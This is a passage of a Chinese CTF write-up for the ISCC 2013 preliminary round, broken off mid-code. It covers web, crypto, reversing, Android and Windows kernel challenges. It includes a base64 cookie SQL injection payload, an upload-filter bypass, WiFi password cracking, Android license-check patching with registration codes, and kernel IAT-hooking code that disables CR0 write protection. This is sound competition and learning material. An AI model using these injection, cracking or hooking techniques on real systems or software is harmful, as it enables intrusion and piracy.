这一次ISCC初赛,感觉自己变牛逼了一点,本来想把所有题作完再来整理的,结果内核突然出了好几道超变态的题。顿时没有心思做了。
以前都是分大体写,这次写在一起吧。
//======================================格叽格叽==========================================
很恶心的选择题,百度 google 各凭本事,总之做了一统,什么都没有记住。
就是一个hidden标签,没有什么好说的。
一个莫名其妙的人的照片,拿去google上搜一下,得出名字就好了。
这个考察了google hack 使用下面的语句就可以了
inurl:sae.bit inurl:admin
考察一个简单的cp语句
cp 源地址/*.data 目的地址
给出了一个正则表达式,和一个摩尔密码。
这里大括号是重复次数,小括号是分组,这个正则表达的是facebook的网址
w{3}.(?<a>t)w(?<b>i)\k<a>{2}er.com
这个摩尔密码表达的是一个用户的名字
. . . . /./. . -/. - ./. . -/. . ./.找到这个用户发的一条状态,是heiligabend1992
H(?<a>e)(?<b>i)l\k<b>gab\k<a>nd[1][9]{2}[2]
这个简单抓一下包,就出来了
这题给了握手包,要求破解wifi的密码。
下载一个Elcomsoft Wireless Security Auditor,直接开始跑,如果包的后缀不对可以使用wireshark转一下。
根据提示密码与生日有关,EWSA有一个掩码功能,或者下一个生日字典都可以跑出来。
就是一段机器码,随便放到debug里面跑,或者找个工具翻译出来,手动模拟一下都可以得到结果。
考察一个基本的溢出
name EBP EIP xiaohaoA AAAA AABB DDDDDDDDDDDDDDDD
很简单,随便逆向一下就可以。
一个换位加密密码,百度一下,了解思路就可以手动破解出来。
顺便写了一个加密的代码。
#include <cassert> #include <stdlib.h> #include <iostream> #include <fstream> #include <cstring> #include <sstream> #include <vector> using namespace std; int main() { string source = "ZHUXINXIANQUANJULEBUWANGLUOANQUANJTNSAIYUANMANCHENGGONG"; string key = "STUPIDRAGON"; vector<char> map[37]; for (int i=0;i<37;i++) map[i].clear(); for (int i=0;i<source.length();i++){ map[ key[i%11]-'A' ].push_back(source[i]); } for (int i=0;i<37;i++) for (int j=0;j<map[i].size();j++) cout<<map[i][j]; cout<<endl; string a="IBQUGNLAINAUUAOIUOAEQANMGNWANNXJUSHXENYGZUNJAHAGINUNLNC"; string b="IBQUGNLAINAUUAOIUOAEQANMGNWANNXJUSHXENYGZUNJAHAGTNUNLNC"; for (int i=0;i<a.length();i++) if (a[i]!=b[i]) cout<<i<<endl; return 0; }
题目给了一段Base64代码,解开后是i am the key,看到cookie里面有一个user项,
把它放进去key就出来了。
页面会不停的刷新,让你无法输完验证码。刷新的代码分别是一个mate标签和一段js。
一开始想把页面down到本地修改一下提交,不过涉及到跨域post的问题。
最后使用IE浏览器禁止mate标签和js顺利解决
就是跑字典啊,自己实现或者用工具都可以。
给的用户名和密码都是MD5加密的,不用解密直接跑,得到正确的MD5再进行解密。
一个图片上传漏洞,这种一般随便加点分号空格00什么的就过了。
一道cookie注入的题,根据题目提示使用guest guest登陆。
发现cookie中有user password data这几项,其中后两个被base64加密了。
尝试了一下发现,data没有惊醒过滤,但是注入语句要先转成base64
给data赋值单引号报错。
Jw==把user赋值admin data赋值' or '1'='1,会出现wecome admin
JyBvciAnMScgPSAnMQ==这时候data里面的数据就会变成admin密码的base64.
很简单的一道题,随便逆一下就可以看到key。
先使用PEID看了一下,编译器是bloodshed,非常血腥。
先找到了结果返回的字符串,看看是不是直接把key输出,结果这段的意思是“就是这个”
BE CD CA C7 D5 E2 B8 F6 21 7E看来还是需要找到真正的密码,那ida F5大法还原了一下生成key的函数。
int __cdecl main(int argc, const char **argv, const char *envp) { int v4; // eax@1 _BYTE *v5; // edx@5 int v6; // eax@10 int v7; // eax@11 signed int v8; // [sp+1Ch] [bp-524Ch]@1 _BYTE v9[10000]; // [sp+20h] [bp-5248h]@1 char v10; // [sp+2730h] [bp-2B38h]@1 char v11; // [sp+4E50h] [bp-418h]@1 size_t v12; // [sp+5250h] [bp-18h]@1 int v13; // [sp+5248h] [bp-20h]@1 signed int v14; // [sp+524Ch] [bp-1Ch]@1 int v15; // [sp+5254h] [bp-14h]@1 signed int v16; // [sp+525Ch] [bp-Ch]@1 int v17; // [sp+5258h] [bp-10h]@3 _BYTE v18[8]; // [sp+5260h] [bp-8h]@5 int v19; // [sp+5244h] [bp-24h]@7 v8 = 16; __main(); memcpy(v9, aK0lzyz9_e0Vwep, 0x2710u); memset(&v10, 0, 0x2712u); v4 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)"请输入密码~"); unknown_libname_91(v4, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); _ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_(&dword_448460, &v11); v12 = strlen(&v11); v13 = 0; v14 = 0; v15 = 0; v16 = 41; while ( v16 <= 60 ) { v17 = 1; while ( v16 + 5 >= v17 ) { v5 = &v18[v13++ - 1040]; if ( *v5 != v9[v17 * v16] ) v14 = 1; ++v19; ++v17; } v13 = v13 - v15++ - 1; v16 += 6; } if ( v14 ) { v7 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)&unk_444E39); unknown_libname_91(v7, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); } else { v6 = _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc((int)&dword_4483C0, (int)&unk_444E2E); unknown_libname_91(v6, _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_); } system("pause"); return 0; }把乱七八糟的东西删一删找到了主要的函数,运行一下得出key
A{?ZR;J`aEN's3sFn#h>0{jElf0];i'HEil)(qzo0>}&m4QL;s.D!9R`!lOGD05rDi,]b0}K%aeI]LfveL|EE'1SIC:Kql'ZFNy~60Jw)Fy)UEa;Ssy2YS%j2[qqHCq=M0n9iF^9j0wu1ou+}TLbg:o7..<4]To~1p58o1Q,C2^FiUa2RPHkF{8i=Kd7q?X{nf9:mx,gFd]:K{YbUS#r@h这时却发现这个key不正确,拿od单步一下,发现有一位错了,改正即可。
这题是一个典型的RSA加密。
同样使用F5大法,这时候发现Hex-Rays1.0对int64兼容的不算特别好,而高版本网上又不提供下载。
Better recognition of 64-bit idioms, example 2
v21 = PageSize * (_DWORD)a6 - a2; v22 = __MKCADD__(v21, qword_6992C7E0); *(_DWORD *)&qword_6992C7E0 = v21 + qword_6992C7E0; *((_DWORD *)&qword_6992C7E0 + 1) += ((unsigned __int64)PageSize * a6 >> 32) - ((unsigned int)(PageSize * (_DWORD)a6 < (_DWORD)a2) + *((_DWORD *)&a2 + 1)) + v22; qword_6992C7E0 += PageSize * a6 - a2;这些宏理应定义在IDA的defs.h中,可是defs.h却很不负责任的这样定义,或许在IDA高版本下有定义。
#define __ROL__(x, y) __rotl__(x, y) // Rotate left #define __ROR__(x, y) __rotr__(x, y) // Rotate right #define __RCL__(x, y) invalid_operation // Rotate left thru carry #define __RCR__(x, y) invalid_operation // Rotate right thru carry #define __MKCADD__(x, y) invalid_operation // Generate carry flag for an addition #define __MKOADD__(x, y) invalid_operation // Generate overflow flag for an addition #define __MKCSHL__(x, y) invalid_operation // Generate carry flag for a shift left #define __MKCSHR__(x, y) invalid_operation // Generate carry flag for a shift right #define __MKCRCL__(x, y) invalid_operation // Generate carry flag for a RCL #define __MKCRCR__(x, y) invalid_operation // Generate carry flag for a RCR #define __SETO__(x, y) invalid_operation // Generate overflow flags for (x-y)不过这并不重要,把这些乱七八糟的东西删掉,把核心代码还原一下。
int main() { source=1; temp=1; key=1; n =9986801107LL; char x; cin>>x; k = x -1; for (int i=1;i<=54517;++i){ temp = key; key = (key + temp*k) % n; } while (key!=0){ cout<<key % 10; key /= 10; } cout<<endl; }
得到算法大概是这样,算法把每两个字符的ascii码进行加密,待加密数字asciiA*1000+asciiB
n 9986801107 = 99877 * 99991 x^d % n 中 d = 54517 (q-1)(p-1) = 9986601240 m * d mod (q-1)(p-1) = 1 得出m=732733
这里计算m的算法
比如rsa算法中 已知 p=101, q=97, e=13, 求d N=p*q=101*97=9797 φ(N)=(p-1)(q-1)=9600 欧拉函数 (13,9600)=1 9600=13*738+6 辗转相除法 13=6*2+1 1=13-2*6 =13-2*(9600-13*738) =13*1477-2*9600 e=13,d=1477这里的e,d就是刚说的e1和e2根据这些很容易的可以写出解密函数,之所以使用java是因为他的大数类或者使用半加法也可以在int64范围内得出正确结果
import java.io.UnsupportedEncodingException; import java.math.BigInteger; import java.util.Scanner; public class main { public static BigInteger RSAcode(BigInteger x,BigInteger d,BigInteger n){ BigInteger ans = new BigInteger("1"); BigInteger two = new BigInteger("2"); while (!d.equals(BigInteger.ZERO)){ if (d.mod(two).equals(BigInteger.ONE)){ ans = ans.multiply(x).mod(n); } x = x.multiply(x).mod(n); d = d.divide(two); } return ans; } public static void main(String args[]) { BigInteger n = new BigInteger("9986801107"); BigInteger d = new BigInteger("54517"); BigInteger m = new BigInteger("732733"); BigInteger x = new BigInteger("49049"); System.out.println("Secret key:49049 9986801107"); Scanner in = new Scanner(System.in); String code = in.nextLine(); char[] tcode = new char [10]; String ttcode = null; int icode; char ccode; for (int i=0;i<code.length();i+=10){ for (int j=0;j<10;j++){ tcode[10-j-1]=code.charAt(j+i); ttcode = String.valueOf(tcode); //System.out.println(ttcode); } icode = Integer.parseInt(RSAcode(new BigInteger(ttcode),m,n).toString()); if (1000<icode){ ccode = (char) (icode / 1000); System.out.print(ccode); ccode = (char) (icode % 1000); System.out.print(ccode); } else { ccode = (char) (icode); System.out.print(ccode); } } //System.out.println(RSAcode(x,d,n).toString()); //System.out.println(RSAcode(RSAcode(x,d,n),m,n).toString()); } }
这个加了一个壳,首先不想把它脱掉了,太麻烦。这个可很可能有反动态调试的功能,并且修改了资源表。
所以使用IDA静态调试的时候,并无法定位到具体某个函数。使用od动态调试的时候,需要使用hideOD这个插件。
其实因为程序很小,随便单步几下就可以找到关键代码了。其实正确方法是在资源表(.rsc)下内存访问断点,
然后再壳还原资源表的时候,就可以断下了。
找到了关键代码
004010F9 |> /8B0E /mov ecx, dword ptr [esi] 004010FB |. |B8 93244992 |mov eax, 92492493 00401100 |. |83C1 0A |add ecx, 0A 00401103 |. |F7E9 |imul ecx 00401105 |. |03D1 |add edx, ecx 00401107 |. |C1FA 02 |sar edx, 2 0040110A |. |8BCA |mov ecx, edx 0040110C |. |C1E9 1F |shr ecx, 1F 0040110F |. |03D1 |add edx, ecx 00401111 |. |8BCA |mov ecx, edx 00401113 |. |890E |mov dword ptr [esi], ecx 00401115 |. |8B46 04 |mov eax, dword ptr [esi+4] 00401118 |. |99 |cdq 00401119 |. |F7F9 |idiv ecx 0040111B |. |52 |push edx 0040111C |. |68 20304000 |push 00403020 ; ASCII "%d" 00401121 |. |8916 |mov dword ptr [esi], edx 00401123 |. |FFD5 |call ebp 00401125 |. |83C4 08 |add esp, 8 00401128 |. |83C6 04 |add esi, 4 0040112B |. |4F |dec edi 0040112C |.^\75 CB \jnz short 004010F9
是一个循环回一个数组进行处理,先看一下这个数组是什么
57 65 64 20 4d 61 79 20 31 35 20 31 30 3a 35 37 3a 33 32 20 32 30 31 33 0a Wed May 15 20:43:32 2013这样看来,这个加密算法是通过取得一个时间来随机生成key。
再来看程序怎样对这段代码进行变换。
这段很痛疼的代码其实是对整数除法的一个编译器优化,
http://www.pediy.com/kssd/pediy11/116974.html
004010FB |. |B8 93244992 |mov eax, 92492493 00401100 |. |83C1 0A |add ecx, 0A 00401103 |. |F7E9 |imul ecx 00401105 |. |03D1 |add edx, ecx 00401107 |. |C1FA 02 |sar edx, 2 0040110A |. |8BCA |mov ecx, edx其他的都很好懂,使用c++实现一下
#include "stdafx.h" #include <time.h> #include <string.h> int main(int argc, char* argv[]) { char source[31]; unsigned int c,a,d; memset(source,0,sizeof(source)); time_t t = time(0); strftime(source,sizeof(source),"%a %b %m %X %Y\n",localtime(&t)); printf("%s\n",source); for (int i=0;i<30;i++){ c = source[i]; c = c + 10; d = c / 7; c = d; source[i] = c; a = source[i+1]; d = a % c; a = a / c; printf("%d",d); } return 0; }
这是一道android的逆向,要求是显示原来是隐藏的两个按钮,主要需要用到这四个工具
dex2jar: 将apk中的class.dex文件反编译为jar包 auto-signed:给修改后的APK签名 jd_gui: 将jar反编译为.java文件 apktool: 提取apk中的资源文件很轻易的看到了java源代码,
代码中反复调用setVisibility(0)来进行隐藏
package com.bfs.crackme; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.view.Menu; import android.view.MenuInflater; import android.widget.Button; public class MainActivity extends Activity { private Button a; private Button b; private Button c; private int a(String paramString) { try { int i = Integer.parseInt(d.a("droider", paramString)); return i; } catch (Exception localException) { localException.printStackTrace(); } return 0; } private String a(int paramInt) { try { String str = createPackageContext("com.droider.appkey", 2).getString(paramInt); return str; } catch (Exception localException) { localException.printStackTrace(); } return ""; } private boolean a() { String str = a(2130903041); return (str != null) && (str.length() != 0); } public void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2130903040); int i; if (!a()) { i = 2130968577; setTitle(getString(i)); this.a = ((Button)findViewById(2131165184)); this.b = ((Button)findViewById(2131165185)); this.c = ((Button)findViewById(2131165186)); if (i != 2130968578) break label150; this.b.setVisibility(0); } while (true) { this.a.setOnClickListener(new a(this)); this.b.setOnClickListener(new b(this)); this.c.setOnClickListener(new c(this)); return; i = a(a(2130903041)); if (i != 0) break; i = 2130968577; // break; label150: if (i == 2130968579) //0x7f040003 { this.b.setVisibility(0); this.c.setVisibility(0); } } } public boolean onCreateOptionsMenu(Menu paramMenu) { getMenuInflater().inflate(2131099648, paramMenu); return true; } }layout/activity_main.xml中也设置了,按钮隐藏
<?xml version="1.0" encoding="utf-8"?> <RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent" xmlns:android="http://schemas.android.com/apk/res/android"> <Button android:id="@id/button_free" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="42.0dip" android:text="免费版入口" android:layout_alignParentTop="true" android:layout_centerHorizontal="true" /> <Button android:id="@id/button_advanced" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="48.0dip" android:text="高级版入口" android:layout_below="@id/button_free" android:layout_alignLeft="@id/button_free" /> <Button android:id="@id/button_pro" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="60.0dip" android:text="专业版入口" android:layout_below="@id/button_advanced" android:layout_alignLeft="@id/button_advanced" /> </RelativeLayout>
http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
其中V0被当做setVisibility参数,而且所有的setVisibility()均使用V0作为参数,我门只需要在开头修改给V0赋值的语句就可以了
invoke-virtual {v0, v2}, Landroid/widget/Button;->setVisibility(I)V修改好之后使用apktool重打包,并使用auto-signed签名就大功告成了。
这里我使用java带的keytool进行签名没有成功,原因不明。
依旧是一道android的逆向,不过使用了高级一点JNI的技术。
核心代码写在一个OS文件中,在使用loadlibrary调用进来,在java代码中没有找到什么有用的信息
除了这个,我们的目标是企业版也就是3
if (i == 1) str = "-正式版"; else if (i == 2) str = "-专业版"; else if (i == 3) str = "-企业版"; else if (i == 4) str = "-专供版"; else str = "-未知版";
首先发现了4段md5,应该是对应上面4种版本的注册码
.rodata:00003908 a25d55ad283aa40 DCB "25d55ad283aa400af464c76d713c07ad",0 .rodata:00003908 ; DATA XREF: n1+80o .rodata:00003929 ALIGN 0x10 .rodata:00003930 a08e0750210f663 DCB "08e0750210f66396eb83957973705aad",0 .rodata:00003930 ; DATA XREF: n1+98o .rodata:00003951 ALIGN 8 .rodata:00003958 aB2db1185c9e5b8 DCB "b2db1185c9e5b88d9b70d7b3278a4947",0 .rodata:00003958 ; DATA XREF: n1+B0o .rodata:00003979 ALIGN 0x10 .rodata:00003980 a18e56d777d194c DCB "18e56d777d194c4d589046d62801501c",0 .rodata:00003980 ; DATA XREF: n1+C8o解密之后,应该就是4个版本的注册码,填进去貌似就可以注册了
25d55ad283aa400af464c76d713c07ad 12345678 08e0750210f66396eb83957973705aad 22345678 b2db1185c9e5b88d9b70d7b3278a4947 32345678 18e56d777d194c4d589046d62801501c 42345678不过本着精益求精的原则,还需要把认证流程绕过去,在N1函数中,他屡次调用了setVaule函数,这个函数是用来设定注册状态的。
我们只要把所有的setVaule函数的传参全部改成3就可以了。每次调用SetValue都通过R1来传递参数
找出每次setvaule的地址 00001390 05 10 a0 e1 MOV R1, R5 000013A0 04 10 A0 E1 MOV R1, R4 先改两个,其他不管 Mov R1 3 03 10 A0 E3二进制打开os文件,找到固定地址,修改之,成功。
因为内核实在是不会,所以都是上网抄的代码,让我解释也解释不清楚。所以只把源代码贴上来。
没啥好说的一个简单的Hello world
#include <ntddk.h> NTSTATUS myDispatch (IN PDEVICE_OBJECT DeviceObject,IN PIRP pIrp); VOID MyUnload(IN PDRIVER_OBJECT DriverObject0); NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { PDEVICE_OBJECT mydevice;//定义设备对象 UNICODE_STRING devicename;//定义设备名称 UNICODE_STRING symboliclinkname;//定义符号连接名称 RtlInitUnicodeString(&devicename,L"\\Device\\mydevice");//初始化设备名称 RtlInitUnicodeString(&symboliclinkname,L"\\??\\ISCC2013Kernel1");//初始化符号连接名称 //创建常规的设备对象 if(STATUS_SUCCESS == IoCreateDevice( theDriverObject,//驱动对象 0, &devicename,//设备名称 FILE_DEVICE_UNKNOWN,//类型 0, FALSE, &mydevice//设备对象 )) { DbgPrint("create a device\n"); } //创建驱动设备符号链接 if(STATUS_SUCCESS == IoCreateSymbolicLink( &symboliclinkname,//符号链接名称 &devicename//设备名称 )) { DbgPrint("create a symbolicLink\n"); } theDriverObject->DriverUnload = MyUnload; //设置IRP派遣例程和卸载例程 theDriverObject->MajorFunction[IRP_MJ_CREATE]= theDriverObject->MajorFunction[IRP_MJ_CLOSE] = theDriverObject->MajorFunction[IRP_MJ_WRITE] = theDriverObject->MajorFunction[IRP_MJ_READ] = theDriverObject->MajorFunction[IRP_MJ_CLOSE] = theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = myDispatch; return STATUS_SUCCESS; } NTSTATUS myDispatch (IN PDEVICE_OBJECT DeviceObject,IN PIRP pIrp) { NTSTATUS ntStatus=STATUS_SUCCESS; PIO_STACK_LOCATION IrpStack=NULL; //IRP堆栈 ULONG IoControlCodes=0; //I/O控制代码 //设置IRP状态 pIrp->IoStatus.Status=STATUS_SUCCESS; pIrp->IoStatus.Information=0; IrpStack=IoGetCurrentIrpStackLocation(pIrp); //得到当前调用者的IRP switch (IrpStack->MajorFunction) { case IRP_MJ_CREATE: DbgPrint("create\n"); break; case IRP_MJ_CLOSE: DbgPrint("close\n"); break; default: DbgPrint("other\n"); break; } ntStatus=pIrp->IoStatus.Status; IoCompleteRequest(pIrp,IO_NO_INCREMENT); return ntStatus; } VOID MyUnload(IN PDRIVER_OBJECT DriverObject0) { //c语言变量一定要放最前面... PDEVICE_OBJECT temp1; PDEVICE_OBJECT temp2; UNICODE_STRING symboliclinkname;//定义符号连接名称 DbgPrint("unload\n"); RtlInitUnicodeString(&symboliclinkname,L"\\??\\ISCC2013Kernel1");//初始化连接符号 IoDeleteSymbolicLink(&symboliclinkname);//删除符号连接 if(DriverObject0) { temp1=DriverObject0->DeviceObject; //删除设备链表 while(temp1) { temp2=temp1; temp1=temp1->NextDevice; IoDeleteDevice(temp2);//删除设备 DbgPrint("upload a decive...\n"); } } }
考察了GS security cookie 安全机制,在sources中将其关掉即可。
BUFFER_OVERFLOW_CHECKS=0
使用了PSPcidtable枚举进程的方法
#include <ntddk.h> typedef struct _OBJECT_HEADER { union { struct { LONG PointerCount; LONG HandleCount; }; LIST_ENTRY Entry; }; POBJECT_TYPE Type; UCHAR NameInfoOffset; UCHAR HandleInfoOffset; UCHAR QuotaInfoOffset; UCHAR Flags; union { //POBJECT_CREATE_INFORMATION ObjectCreateInfo; PVOID QuotaBlockCharged; }; PSECURITY_DESCRIPTOR SecurityDescriptor; QUAD Body; } OBJECT_HEADER, *POBJECT_HEADER; #define OBJECT_TO_OBJECT_HEADER(obj) CONTAINING_RECORD( (obj), OBJECT_HEADER, Body ) #define OBJECT_BODY_TO_TYPE 0x10 #define TYPE 0X08 //_OBJECT_HEADER中的偏移 #define NEXTFREETABLEENTRY 0X04 //_HANDLE_TABLE_ENTRY中的偏移 #define IMAGEFILENAME 0X174 //_EPROCESS中的偏移 #define FLAGS 0x248 //_EPROCESS中的偏移 #define UniqueProcessID 0x084 //_EPROCESS中的偏移 ULONG GetProcessType() { ULONG eproc; ULONG type; ULONG total; eproc = (ULONG)PsGetCurrentProcess();//PsGetCurrentProcess获取当前活动进程的地址,实际上就是对象(体)指针 eproc = (ULONG)OBJECT_TO_OBJECT_HEADER(eproc); type = *(PULONG)(eproc+TYPE); return type; } ULONG GetPspCidTable() { ULONG PspCidTable=0; ULONG FuncAddr=0; UNICODE_STRING FuncName={0}; RtlInitUnicodeString(&FuncName,L"PsLookupProcessByProcessId"); FuncAddr=(ULONG)MmGetSystemRoutineAddress(&FuncName); for (;;FuncAddr++) { if ((0x35ff==(*(PUSHORT)FuncAddr)) && (0xe8==(*(PUCHAR)(FuncAddr+6)))) { PspCidTable=*(PULONG)(FuncAddr+2); break; } } return PspCidTable; } //从3级表开始遍历 ULONG BrowseTableL3(ULONG TableAddr) { ULONG Object=0; ULONG ItemCount=511; ULONG processtype,type; ULONG flags; do { TableAddr+=8; // 跳过前面的无效句柄 Object=*(PULONG)TableAddr; Object&=0xfffffff8; // 最后3位清零, 得到EPROCESS结构地址 if (Object==0) { continue; } type = (*(PULONG)(Object-OBJECT_BODY_TO_TYPE)); processtype = GetProcessType(); if (type == processtype) // 如果是进程对象 { flags=*(PULONG)((ULONG)Object+FLAGS); /*__asm{ int 3; }*/ if((flags&0xc)!=0xc){ // 如果不是死进程 KdPrint(("ImageName: %20s ", (char*)Object+IMAGEFILENAME)); KdPrint(( "ProcessID: 0x%02X%02X%02X%02X\n", (UCHAR)((char*)Object+UniqueProcessID)[3] , (UCHAR)((char*)Object+UniqueProcessID)[2], (UCHAR)((char*)Object+UniqueProcessID)[1], (UCHAR)((char*)Object+UniqueProcessID)[0] )); } } } while (--ItemCount>0); return 0; } //从二级表开始遍历 ULONG BrowseTableL2(ULONG TableAddr) { do { BrowseTableL3(*(PULONG)TableAddr); TableAddr+=4; } while ((*(PULONG)TableAddr)!=0); return 0; } //从1级表开始遍历 ULONG BrowseTableL1(ULONG TableAddr) { do { BrowseTableL2(*(PULONG)TableAddr); TableAddr+=4; } while ((*(PULONG)TableAddr)!=0); return 0; } VOID RefreshProcessByPspCidTable() { ULONG PspCidTable=0; ULONG HandleTable=0; ULONG TableCode=0; ULONG flag=0; PspCidTable=GetPspCidTable(); HandleTable=*(PULONG)PspCidTable; TableCode=*(PULONG)HandleTable; flag=TableCode&3; TableCode&=0xfffffffc; switch (flag) { case 0: BrowseTableL3(TableCode); break; case 1: BrowseTableL2(TableCode); break; case 2: BrowseTableL1(TableCode); break; } } VOID DriverUnload( IN PDRIVER_OBJECT DriverObject ) { KdPrint(("DriverUnload!")); } NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath ) { NTSTATUS status = STATUS_SUCCESS; KdPrint(("Enter DriverEntry!\n")); DriverObject->DriverUnload = DriverUnload; RefreshProcessByPspCidTable(); return status; }
思路是在内核中枚举模块名称,得到其基址后修改其输入表
#include "ntddk.h" #include "hookiat.h" #pragma comment(lib,"ntdll.lib") HANDLE hSection; PVOID g_OriginalPsGetCurrentProcessId = NULL; PVOID g_FunctionInMemory = NULL; NTSTATUS status; typedef HANDLE (*PSGETCURRENTPROCESSID)(); PVOID GetDriverBaseAdress(IN char* driverName) { ULONG size,index; PULONG buf; PSYSTEM_MODULE_INFORMATION module; PVOID driverAddress=0; ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size); if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))) { DbgPrint("failed alloc memory failed \n"); return 0; } status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0); if(!NT_SUCCESS( status )) { DbgPrint("failed query\n"); return 0; } module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1); for (index = 0; index < *buf; index++) if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0) { driverAddress = module[index].Base; DbgPrint("Module found at:%x\n",driverAddress); } ExFreePool(buf); return driverAddress; } PVOID CreateMapFileAndReturnBaseAddress(IN PUNICODE_STRING pDriverName) { HANDLE hFile; //HANDLE hSection看需要在别的地方ZWclose(hSection),若不用.那定义成局部变量就可以了,或者做为数参数传递 char *pszModName; PVOID MapFileBaseAddress = NULL; SIZE_T size=0; IO_STATUS_BLOCK stataus; OBJECT_ATTRIBUTES oa ; InitializeObjectAttributes( &oa, pDriverName, OBJ_CASE_INSENSITIVE, 0, 0 ); ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &stataus, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); oa.ObjectName = 0; ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, SEC_IMAGE, hFile); ZwMapViewOfSection(hSection, PsGetCurrentProcessId(), &MapFileBaseAddress, 0, 1024, 0, &size, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); ZwClose(hFile); DbgPrint("baseadress:%x\n",MapFileBaseAddress); return MapFileBaseAddress; } DWORD GetImageImportDescriptorPointer(IN OUT HANDLE* hMod, IN OUT IMAGE_IMPORT_DESCRIPTOR** pImportDesc) { IMAGE_DOS_HEADER * dosheader; IMAGE_OPTIONAL_HEADER * optheader; PVOID BaseAddress = NULL; UNICODE_STRING driverName; RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\WINDOWS\\system32\\drivers\\ISCC2013Kernel4.sys"); BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName); *hMod = BaseAddress; dosheader= (IMAGE_DOS_HEADER *)BaseAddress; optheader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)BaseAddress+dosheader->e_lfanew+24); *pImportDesc = (IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)dosheader+ optheader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); if( NULL == (*pImportDesc)) return 0; else return 1; DbgPrint("DataEntryAddress:%x\n",pImportDesc); } DWORD GetFunctionRav(IN char* lpFunctionName, IN char* lpFunctionLibrary, OUT DWORD* pThunk, OUT DWORD* pRVA) { HANDLE hMod; IMAGE_IMPORT_DESCRIPTOR * pImportDesc; IMAGE_THUNK_DATA* thunk; char *pszModName; DWORD firstThunkList; DWORD ret; BOOLEAN isOrdinal; BOOLEAN foundIt; int x=0; SIZE_T size=0; ret=GetImageImportDescriptorPointer(&hMod,&pImportDesc); if(ret==0) { DbgPrint("GetImageImportDescriptorPointer return NULL"); return 0; } //遍历IMPORT DIRECTORY TABLE,找到ntoskrnl.exe对应的IMAGE_IMPORT_DESCRIPTOR while (pImportDesc->FirstThunk) { pszModName = (PSTR) ((PBYTE) hMod + pImportDesc->Name); if (_stricmp(pszModName, lpFunctionLibrary) == 0 ) { foundIt = TRUE; DbgPrint("name:%s\n",pszModName); break; } pImportDesc++; } if(foundIt==FALSE) { return 0; } //得到ntoskrnl.exe的IMAGE_IMPORT_DESCRIPTOR,就可以其IAT,IAT中就可以找到导出函数了 thunk = (IMAGE_THUNK_DATA*)( (BYTE*)hMod + pImportDesc->OriginalFirstThunk); firstThunkList = (DWORD)((PBYTE)hMod + pImportDesc->FirstThunk); foundIt = FALSE; while(thunk->u1.Function) { isOrdinal = 0; //IMAGE_THUNK_DATA其实就是一个DWORD,它要么是Ordinal,要么是AddressOfData if(thunk->u1.Function >= 0x01000000) isOrdinal = TRUE; if(!isOrdinal) // 以名字到处而不是序号 { //IMAGE_IMPORT_BY_NAME char* functionName = (char*)( (BYTE*)hMod + (DWORD)thunk->u1.AddressOfData + 2 ); if (_stricmp(functionName, lpFunctionName) == 0 ) { *pThunk = pImportDesc->FirstThunk; *pRVA = x; DbgPrint("%x",( DWORD *)((PBYTE)hMod +pImportDesc->FirstThunk)+x); ZwClose(hSection); return 1; } } if(isOrdinal) { ZwClose(hSection); return (DWORD) NULL; } x++; thunk++; firstThunkList++; } if(foundIt==FALSE) { ZwClose(hSection); return 0; } ZwClose(hSection); return 0; } NTSTATUS MyPsGetCurrentProcessId() { DbgPrint("HOOK_PsGetCurrentProcessId called!\n"); ((PSGETCURRENTPROCESSID)(g_OriginalPsGetCurrentProcessId))(); } VOID Unload(IN PDRIVER_OBJECT DriverObject) { if(NULL == g_FunctionInMemory || NULL == g_OriginalPsGetCurrentProcessId) return; _asm { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } *(PVOID*)g_FunctionInMemory = g_OriginalPsGetCurrentProcessId; _asm { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath) { DWORD ret = 0; DWORD RVA, Thunk; char functionName[] = "PsGetCurrentProcessId"; char libraryName[] = "ntoskrnl.exe"; PVOID base = NULL; base = GetDriverBaseAdress("ISCC2013Kernel4.sys"); if(NULL==base) { DbgPrint("base not found"); return STATUS_SUCCESS; } ret = GetFunctionRav(functionName, libraryName, &Thunk, &RVA ); if(0==ret) { DbgPrint("IATPointerRVA not found"); return STATUS_SUCCESS; } g_FunctionInMemory = (DWORD*)( (BYTE*)base + Thunk ) + RVA; DbgPrint("the function adress in memory is:%x",g_FunctionInMemory); if(NULL==g_FunctionInMemory) { 